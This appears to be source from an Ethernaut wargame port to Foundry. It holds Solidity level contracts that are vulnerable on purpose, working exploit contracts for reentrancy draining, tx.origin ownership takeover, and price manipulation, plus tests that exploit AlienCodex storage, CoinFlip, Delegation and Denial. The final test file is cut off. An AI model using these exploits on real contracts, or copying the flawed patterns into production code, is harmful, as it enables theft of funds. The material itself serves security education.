| pragma solidity ^0.8.10; 4 | 5 | /** 6 | * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM 7 | * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to 8 | * be specified by overriding the virtual {_implementation} function. 9 | * 10 | * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a 11 | * different contract through the {_delegate} function. 12 | * 13 | * The success and return data of the delegated call will be returned back to the caller of the proxy. 14 | */ 15 | abstract contract Proxy { 16 | /** 17 | * @dev Delegates the current call to `implementation`. 18 | * 19 | * This function does not return to its internall call site, it will return directly to the external caller. 20 | */ 21 | function _delegate(address implementation) internal { 22 | // solhint-disable-next-line no-inline-assembly 23 | assembly { 24 | // Copy msg.data. We take full control of memory in this inline assembly 25 | // block because it will not return to Solidity code. We overwrite the 26 | // Solidity scratch pad at memory position 0. 27 | calldatacopy(0, 0, calldatasize()) 28 | 29 | // Call the implementation. 30 | // out and outsize are 0 because we don't know the size yet. 31 | let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) 32 | 33 | // Copy the returned data. 34 | returndatacopy(0, 0, returndatasize()) 35 | 36 | switch result 37 | // delegatecall returns 0 on error. 38 | case 0 { revert(0, returndatasize()) } 39 | default { return(0, returndatasize()) } 40 | } 41 | } 42 | 43 | /** 44 | * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function 45 | * and {_fallback} should delegate. 46 | */ 47 | function _implementation() internal virtual view returns (address); 48 | 49 | /** 50 | * @dev Delegates the current call to the address returned by `_implementation()`. 51 | * 52 | * This function does not return to its internall call site, it will return directly to the external caller. 53 | */ 54 | function _fallback() internal { 55 | _beforeFallback(); 56 | _delegate(_implementation()); 57 | } 58 | 59 | /** 60 | * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other 61 | * function in the contract matches the call data. 62 | */ 63 | fallback () payable external { 64 | _fallback(); 65 | } 66 | 67 | /** 68 | * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data 69 | * is empty. 70 | */ 71 | receive () payable external { 72 | _fallback(); 73 | } 74 | 75 | /** 76 | * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` 77 | * call, or as part of the Solidity `fallback` or `receive` functions. 78 | * 79 | * If overriden should call `super._beforeFallback()`. 80 | */ 81 | function _beforeFallback() internal virtual { 82 | } 83 | } -------------------------------------------------------------------------------- /src/PuzzleWallet/openzeppelin/UpgradeableProxy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import "./Proxy.sol"; 6 | import "./Address.sol"; 7 | 8 | /** 9 | * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an 10 | * implementation address that can be changed. This address is stored in storage in the location specified by 11 | * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the 12 | * implementation behind the proxy. 13 | * 14 | * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see 15 | * {TransparentUpgradeableProxy}. 16 | */ 17 | contract UpgradeableProxy is Proxy { 18 | /** 19 | * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. 20 | * 21 | * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded 22 | * function call, and allows initializating the storage of the proxy like a Solidity constructor. 23 | */ 24 | constructor(address _logic, bytes memory _data) public payable { 25 | assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); 26 | _setImplementation(_logic); 27 | if(_data.length > 0) { 28 | // solhint-disable-next-line avoid-low-level-calls 29 | (bool success,) = _logic.delegatecall(_data); 30 | require(success); 31 | } 32 | } 33 | 34 | /** 35 | * @dev Emitted when the implementation is upgraded. 36 | */ 37 | event Upgraded(address indexed implementation); 38 | 39 | /** 40 | * @dev Storage slot with the address of the current implementation. 41 | * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is 42 | * validated in the constructor. 43 | */ 44 | bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; 45 | 46 | /** 47 | * @dev Returns the current implementation address. 48 | */ 49 | function _implementation() internal override view returns (address impl) { 50 | bytes32 slot = _IMPLEMENTATION_SLOT; 51 | // solhint-disable-next-line no-inline-assembly 52 | assembly { 53 | impl := sload(slot) 54 | } 55 | } 56 | 57 | /** 58 | * @dev Upgrades the proxy to a new implementation. 59 | * 60 | * Emits an {Upgraded} event. 61 | */ 62 | function _upgradeTo(address newImplementation) internal { 63 | _setImplementation(newImplementation); 64 | emit Upgraded(newImplementation); 65 | } 66 | 67 | /** 68 | * @dev Stores a new address in the EIP1967 implementation slot. 69 | */ 70 | function _setImplementation(address newImplementation) private { 71 | require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); 72 | 73 | bytes32 slot = _IMPLEMENTATION_SLOT; 74 | 75 | // solhint-disable-next-line no-inline-assembly 76 | assembly { 77 | sstore(slot, newImplementation) 78 | } 79 | } 80 | } -------------------------------------------------------------------------------- /src/Recovery/README.md: -------------------------------------------------------------------------------- 1 | # 17. Recovery 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x0EB8e4771ABA41B70d0cb6770e04086E5aee5aB2 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-18-recovery-walkthrough-how-to-retrieve-lost-contract-addresses-in-2-ways-aba54ab167d3 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract RecoveryTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Recovery.png?raw=true) 20 | -------------------------------------------------------------------------------- /src/Recovery/Recovery.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract 5 | 6 | contract Recovery { 7 | 8 | //generate tokens 9 | function generateToken(string memory _name, uint256 _initialSupply) public { 10 | new SimpleToken(_name, msg.sender, _initialSupply); 11 | 12 | } 13 | } 14 | 15 | contract SimpleToken { 16 | 17 | using SafeMath for uint256; 18 | // public variables 19 | string public name; 20 | mapping (address => uint) public balances; 21 | 22 | // constructor 23 | constructor(string memory _name, address _creator, uint256 _initialSupply) public { 24 | name = _name; 25 | balances[_creator] = _initialSupply; 26 | } 27 | 28 | // collect ether in return for tokens 29 | receive() external payable { 30 | balances[msg.sender] = msg.value.mul(10); 31 | } 32 | 33 | // allow transfers of tokens 34 | function transfer(address _to, uint _amount) public { 35 | require(balances[msg.sender] >= _amount); 36 | balances[msg.sender] = balances[msg.sender].sub(_amount); 37 | balances[_to] = _amount; 38 | } 39 | 40 | // clean up after ourselves 41 | function destroy(address payable _to) public { 42 | selfdestruct(_to); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/Recovery/RecoveryFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Recovery.sol'; 7 | 8 | contract RecoveryFactory is Level { 9 | 10 | mapping (address => address) lostAddress; 11 | 12 | function createInstance(address _player) override public payable returns (address) { 13 | Recovery recoveryInstance; 14 | recoveryInstance = new Recovery(); 15 | // create a simple token 16 | recoveryInstance.generateToken("InitialToken", uint(100000)); 17 | // the lost address 18 | lostAddress[address(recoveryInstance)] = address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), recoveryInstance, uint8(0x01)))))); 19 | // Send it some ether 20 | (bool result,) = lostAddress[address(recoveryInstance)].call{value:0.001 ether}(""); 21 | require(result); 22 | 23 | return address(recoveryInstance); 24 | } 25 | 26 | function validateInstance(address payable _instance, address) override public returns (bool) { 27 | return address(lostAddress[_instance]).balance == 0; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/Reentrance/README.md: -------------------------------------------------------------------------------- 1 | # 10. Reentrance 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-10-re-entrancy-walkthrough-how-to-abuse-execution-ordering-and-reproduce-the-dao-7ec88b912c14 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract ReentranceTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Reentrance.png?raw=true) -------------------------------------------------------------------------------- /src/Reentrance/Reentrance.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract 6 | 7 | contract Reentrance { 8 | 9 | using SafeMath for uint256; 10 | mapping(address => uint) public balances; 11 | 12 | function donate(address _to) public payable { 13 | balances[_to] = balances[_to].add(msg.value); 14 | } 15 | 16 | function balanceOf(address _who) public view returns (uint balance) { 17 | return balances[_who]; 18 | } 19 | 20 | function withdraw(uint _amount) public { 21 | if(balances[msg.sender] >= _amount) { 22 | (bool result,) = msg.sender.call{value:_amount}(""); 23 | if(result) { 24 | _amount; 25 | } 26 | unchecked { 27 | balances[msg.sender] -= _amount; // unchecked to prevent underflow errors 28 | } 29 | } 30 | } 31 | 32 | receive() external payable {} 33 | } -------------------------------------------------------------------------------- /src/Reentrance/ReentranceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Reentrance.sol'; 7 | 8 | contract ReentranceFactory is Level { 9 | 10 | uint public insertCoin = 1 ether; 11 | 12 | function createInstance(address _player) override public payable returns (address) { 13 | _player; 14 | require(msg.value >= insertCoin); 15 | Reentrance instance = new Reentrance(); 16 | require(address(this).balance >= insertCoin); 17 | payable(address(instance)).transfer(insertCoin); 18 | return address(instance); 19 | } 20 | 21 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 22 | _player; 23 | Reentrance instance = Reentrance(_instance); 24 | return address(instance).balance == 0; 25 | } 26 | 27 | receive() external payable {} 28 | } -------------------------------------------------------------------------------- /src/Reentrance/ReentranceHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | abstract contract IReentrance { 6 | mapping(address => uint256) public balances; 7 | 8 | function donate(address _to) external payable virtual; 9 | 10 | function withdraw(uint256 _amount) external virtual; 11 | } 12 | 13 | contract ReentranceHack { 14 | IReentrance public challenge; 15 | uint256 initialDeposit; 16 | 17 | constructor(address challengeAddress) { 18 | challenge = IReentrance(challengeAddress); 19 | } 20 | 21 | function attack() external payable { 22 | require(msg.value >= 0.1 ether, "send some more ether"); 23 | 24 | // first deposit some funds 25 | initialDeposit = msg.value; 26 | challenge.donate{value: initialDeposit}(address(this)); 27 | 28 | // withdraw these funds over and over again because of re-entrancy issue 29 | callWithdraw(); 30 | } 31 | 32 | receive() external payable { 33 | // re-entrance called by challenge 34 | callWithdraw(); 35 | } 36 | 37 | function callWithdraw() private { 38 | // this balance correctly updates after withdraw 39 | uint256 challengeTotalRemainingBalance = address(challenge).balance; 40 | // are there more tokens to empty? 41 | bool keepRecursing = challengeTotalRemainingBalance > 0; 42 | 43 | if (keepRecursing) { 44 | // can only withdraw at most our initial balance per withdraw call 45 | uint256 toWithdraw = 46 | initialDeposit < challengeTotalRemainingBalance 47 | ? initialDeposit 48 | : challengeTotalRemainingBalance; 49 | challenge.withdraw(toWithdraw); 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /src/Shop/README.md: -------------------------------------------------------------------------------- 1 | # 21. Shop 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/@safeZ1/ethernaut-lvl-21-shop-walkthrough-how-to-use-assembly-code-in-solidity-and-abuse-solidity-d8ced86c0eb4 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract ShopTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Shop.png?raw=true) 20 | -------------------------------------------------------------------------------- /src/Shop/Shop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | interface Buyer { 5 | function price() external view returns (uint); 6 | } 7 | 8 | contract Shop { 9 | uint public price = 100; 10 | bool public isSold; 11 | 12 | function buy() public { 13 | Buyer _buyer = Buyer(msg.sender); 14 | 15 | if (_buyer.price() >= price && !isSold) { 16 | isSold = true; 17 | price = _buyer.price(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/Shop/ShopFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Shop.sol'; 7 | 8 | contract ShopFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | Shop _shop = new Shop(); 13 | return address(_shop); 14 | } 15 | 16 | function validateInstance(address payable _instance, address) override public returns (bool) { 17 | Shop _shop = Shop(_instance); 18 | return _shop.price() < 100; 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /src/Shop/ShopHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | import './Shop.sol'; 5 | 6 | contract ShopHack { 7 | Shop shop; 8 | 9 | constructor(Shop _shop) { 10 | shop = _shop; 11 | } 12 | 13 | function price() external view returns(uint) { 14 | return !shop.isSold() ? 100 : 0; 15 | } 16 | 17 | function attack() external { 18 | shop.buy(); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/Telephone/README.md: -------------------------------------------------------------------------------- 1 | # 4. Telephone 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/@nicolezhu/ethernaut-lvl-4-walkthrough-how-to-abuse-tx-origin-msg-sender-ef37d6751c8 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract TelephoneTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Telephone.png?raw=true) -------------------------------------------------------------------------------- /src/Telephone/Telephone.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract Telephone { 6 | 7 | address public owner; 8 | 9 | constructor() public { 10 | owner = msg.sender; 11 | } 12 | 13 | function changeOwner(address _owner) public { 14 | if (tx.origin != msg.sender) { 15 | owner = _owner; 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /src/Telephone/TelephoneFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Telephone.sol'; 7 | 8 | contract TelephoneFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | Telephone instance = new Telephone(); 13 | return address(instance); 14 | } 15 | 16 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 17 | Telephone instance = Telephone(_instance); 18 | return instance.owner() == _player; 19 | } 20 | } -------------------------------------------------------------------------------- /src/Telephone/TelephoneHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | interface ITelephone { 6 | function changeOwner(address _owner) external; 7 | } 8 | 9 | contract TelephoneHack { 10 | ITelephone public challenge; 11 | 12 | constructor(address challengeAddress) { 13 | challenge = ITelephone(challengeAddress); 14 | } 15 | 16 | function attack() external payable { 17 | challenge.changeOwner(tx.origin); 18 | } 19 | 20 | fallback() external payable {} 21 | } -------------------------------------------------------------------------------- /src/Token/README.md: -------------------------------------------------------------------------------- 1 | # 5. Token 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-5-walkthrough-how-to-abuse-arithmetic-underflows-and-overflows-2c614fa86b74 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract TokenTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Token.png?raw=true) -------------------------------------------------------------------------------- /src/Token/Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract Token { 6 | 7 | mapping(address => uint) balances; 8 | uint public totalSupply; 9 | 10 | constructor(uint _initialSupply) public { 11 | balances[msg.sender] = totalSupply = _initialSupply; 12 | } 13 | 14 | function transfer(address _to, uint _value) public returns (bool) { 15 | 16 | // Solidity ^0.8.0 prevents overflows/underflows so need to have it unchecked 17 | unchecked { 18 | require(balances[msg.sender] - _value >= 0); 19 | balances[msg.sender] -= _value; 20 | balances[_to] += _value; 21 | } 22 | 23 | return true; 24 | } 25 | 26 | function balanceOf(address _owner) public view returns (uint balance) { 27 | return balances[_owner]; 28 | } 29 | } -------------------------------------------------------------------------------- /src/Token/TokenFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Token.sol'; 7 | 8 | contract TokenFactory is Level { 9 | 10 | uint supply = 21000000; 11 | uint playerSupply = 20; 12 | 13 | function createInstance(address _player) override public payable returns (address) { 14 | Token token = new Token(supply); 15 | token.transfer(_player, playerSupply); 16 | return address(token); 17 | } 18 | 19 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 20 | Token token = Token(_instance); 21 | return token.balanceOf(_player) > playerSupply; 22 | } 23 | } -------------------------------------------------------------------------------- /src/Vault/README.md: -------------------------------------------------------------------------------- 1 | # 8. Vault 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract VaultTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Vault.png?raw=true) -------------------------------------------------------------------------------- /src/Vault/Vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract Vault { 6 | bool public locked; 7 | bytes32 private password; 8 | 9 | constructor(bytes32 _password) public { 10 | locked = true; 11 | password = _password; 12 | } 13 | 14 | function unlock(bytes32 _password) public { 15 | if (password == _password) { 16 | locked = false; 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /src/Vault/VaultFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Vault.sol'; 7 | 8 | contract VaultFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | bytes32 password = "A very strong secret password :)"; 13 | Vault instance = new Vault(password); 14 | return address(instance); 15 | } 16 | 17 | function validateInstance(address payable _instance, address) override public returns (bool) { 18 | Vault instance = Vault(_instance); 19 | return !instance.locked(); 20 | } 21 | } -------------------------------------------------------------------------------- /src/test/AlienCodex.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Ethernaut.sol"; 5 | import "./utils/vm.sol"; 6 | 7 | 8 | contract AlienCodexTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | 12 | function setUp() public { 13 | // Setup instance of the Ethernaut contract 14 | ethernaut = new Ethernaut(); 15 | } 16 | 17 | function testAlienCodexHack() public { 18 | ///////////////// 19 | // LEVEL SETUP // 20 | ///////////////// 21 | bytes memory bytecode = abi.encodePacked(vm.getCode("./src/AlienCodex/AlienCodex.json")); 22 | address alienCodex; 23 | 24 | // level needs to be deployed this way as it only works with 0.5.0 solidity version 25 | assembly { 26 | alienCodex := create(0, add(bytecode, 0x20), mload(bytecode)) 27 | } 28 | 29 | vm.startPrank(tx.origin); 30 | 31 | 32 | ////////////////// 33 | // LEVEL ATTACK // 34 | ////////////////// 35 | 36 | // Make contract first to set contact to true and pass the modifier checks of other functions 37 | alienCodex.call(abi.encodeWithSignature("make_contact()")); 38 | 39 | // all of contract storage is a 32 bytes key to 32 bytes value mapping 40 | // first make codex expand its size to cover all of this storage 41 | // by calling retract making it overflow 42 | alienCodex.call(abi.encodeWithSignature("retract()")); 43 | 44 | 45 | // Compute codex index corresponding to slot 0 46 | uint codexIndexForSlotZero = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1; 47 | 48 | // address left padded with 0 to total 32 bytes 49 | bytes32 leftPaddedAddress = bytes32(abi.encode(tx.origin)); 50 | 51 | // must be uint256 in function signature not uint 52 | // call revise with codex index and content which will set you as the owner 53 | alienCodex.call(abi.encodeWithSignature("revise(uint256,bytes32)", codexIndexForSlotZero, leftPaddedAddress)); 54 | 55 | 56 | ////////////////////// 57 | // LEVEL SUBMISSION // 58 | ////////////////////// 59 | 60 | (bool success, bytes memory data) = alienCodex.call(abi.encodeWithSignature("owner()")); 61 | 62 | // data is of type bytes32 so the address is padded, byte manipulation to get address 63 | address refinedData = address(uint160(bytes20(uint160(uint256(bytes32(data)) << 0)))); 64 | 65 | vm.stopPrank(); 66 | assertEq(refinedData, tx.origin); 67 | } 68 | } -------------------------------------------------------------------------------- /src/test/CoinFlip.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../CoinFlip/CoinFlipHack.sol"; 5 | import "../CoinFlip/CoinFlipFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract CoinFlipTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contracts 15 | ethernaut = new Ethernaut(); 16 | } 17 | 18 | function testCoinFlipHack() public { 19 | ///////////////// 20 | // LEVEL SETUP // 21 | ///////////////// 22 | 23 | CoinFlipFactory coinFlipFactory = new CoinFlipFactory(); 24 | ethernaut.registerLevel(coinFlipFactory); 25 | vm.startPrank(tx.origin); 26 | address levelAddress = ethernaut.createLevelInstance(coinFlipFactory); 27 | CoinFlip ethernautCoinFlip = CoinFlip(payable(levelAddress)); 28 | 29 | ////////////////// 30 | // LEVEL ATTACK // 31 | ////////////////// 32 | 33 | // Move the block from 0 to 5 to prevent underflow errors 34 | vm.roll(5); 35 | 36 | // Create coinFlipHack contract 37 | CoinFlipHack coinFlipHack = new CoinFlipHack(levelAddress); 38 | 39 | // Run the attack 10 times, iterate the block each time, function can only be called once per block 40 | for (uint i = 0; i <= 10; i++) { 41 | // Must be on latest version of foundry - blockhash was defaulting to 0 in earlier version of foundry resolved in this commit https://github.com/gakonst/foundry/pull/728 42 | vm.roll(6 + i); 43 | coinFlipHack.attack(); 44 | } 45 | 46 | ////////////////////// 47 | // LEVEL SUBMISSION // 48 | ////////////////////// 49 | 50 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 51 | vm.stopPrank(); 52 | assert(levelSuccessfullyPassed); 53 | } 54 | } -------------------------------------------------------------------------------- /src/test/Delegation.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Delegation/DelegationFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract DelegationTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | 12 | function setUp() public { 13 | // Setup instance of the Ethernaut contract 14 | ethernaut = new Ethernaut(); 15 | } 16 | 17 | function testDelegationHack() public { 18 | ///////////////// 19 | // LEVEL SETUP // 20 | ///////////////// 21 | 22 | DelegationFactory delegationFactory = new DelegationFactory(); 23 | ethernaut.registerLevel(delegationFactory); 24 | vm.startPrank(tx.origin); 25 | address levelAddress = ethernaut.createLevelInstance(delegationFactory); 26 | Delegation ethernautDelegation = Delegation(payable(levelAddress)); 27 | 28 | ////////////////// 29 | // LEVEL ATTACK // 30 | ////////////////// 31 | 32 | // Determine method hash, required for function call 33 | bytes4 methodHash = bytes4(keccak256("pwn()")); 34 | 35 | // Call the pwn() method via .call plus abi encode the method hash switch from bytes4 to bytes memory 36 | address(ethernautDelegation).call(abi.encode(methodHash)); 37 | 38 | 39 | ////////////////////// 40 | // LEVEL SUBMISSION // 41 | ////////////////////// 42 | 43 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 44 | vm.stopPrank(); 45 | assert(levelSuccessfullyPassed); 46 | } 47 | } -------------------------------------------------------------------------------- /src/test/Denial.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Denial/DenialHack.sol"; 5 | import "../Denial/DenialFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | 10 | contract DenialTest is DSTest { 11 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 12 | Ethernaut ethernaut; 13 | address eoaAddress = address(0); 14 | 15 | function setUp() public { 16 | // Setup instance of the Ethernaut contracts 17 | ethernaut = new Ethernaut(); 18 | // Deal EOA address some ether 19 | vm.deal(eoaAddress, 5 ether); 20 | } 21 | 22 | function testDenialHack() public { 23 | ///////////////// 24 | // LEVEL SETUP // 25 | ///////////////// 26 | 27 | DenialFactory denialFactory = new DenialFactory(); 28 | ethernaut.registerLevel(denialFactory); 29 | vm.startPrank(eoaAddress); 30 | address levelAddress = ethernaut.createLevelInstance{value: 1 ether}(denialFactory); 31 | Denial ethernautDenial = Denial(payable(levelAddress)); 32 | 33 | ////////////////// 34 | // LEVEL ATTACK // 35 | ////////////////// 36 | 37 | // Create DenialHack Contract 38 | DenialHack denialHack = new DenialHack(); 39 | 40 | // set withdraw parter. callback function will waste all pased gas when admin calls "withdraw" 41 | ethernautDenial.setWithdrawPartner(address(denialHack)); 42 | 43 | ////////////////////// 44 | // LEVEL SUBMISSION // 45 | ////////////////////// 46 | 47 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 48 | vm.stopPrank(); 49 | assert(levelSuccessfullyPassed); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/test/Dex.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Dex/DexHack.sol"; 5 | import "../Dex/DexFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | 8 | contract DexTest is DSTest { 9 | Ethernaut ethernaut; 10 | 11 | function setUp() public { 12 | // Setup instance of the Ethernaut contracts 13 | ethernaut = new Ethernaut(); 14 | } 15 | 16 | function testDexHack() public { 17 | ///////////////// 18 | // LEVEL SETUP // 19 | ///////////////// 20 | 21 | DexFactory dexFactory = new DexFactory(); 22 | ethernaut.registerLevel(dexFactory); 23 | address levelAddress = ethernaut.createLevelInstance{value: 1 ether}(dexFactory); 24 | Dex ethernautDex = Dex(payable(levelAddress)); 25 | 26 | ////////////////// 27 | // LEVEL ATTACK // 28 | ////////////////// 29 | 30 | // Create DexHack Contract 31 | DexHack dexHack = new DexHack(ethernautDex); 32 | 33 | // give the attack contract the balance 34 | IERC20(ethernautDex.token1()).transfer(address(dexHack), IERC20(ethernautDex.token1()).balanceOf(address(this))); 35 | IERC20(ethernautDex.token2()).transfer(address(dexHack), IERC20(ethernautDex.token2()).balanceOf(address(this))); 36 | 37 | // 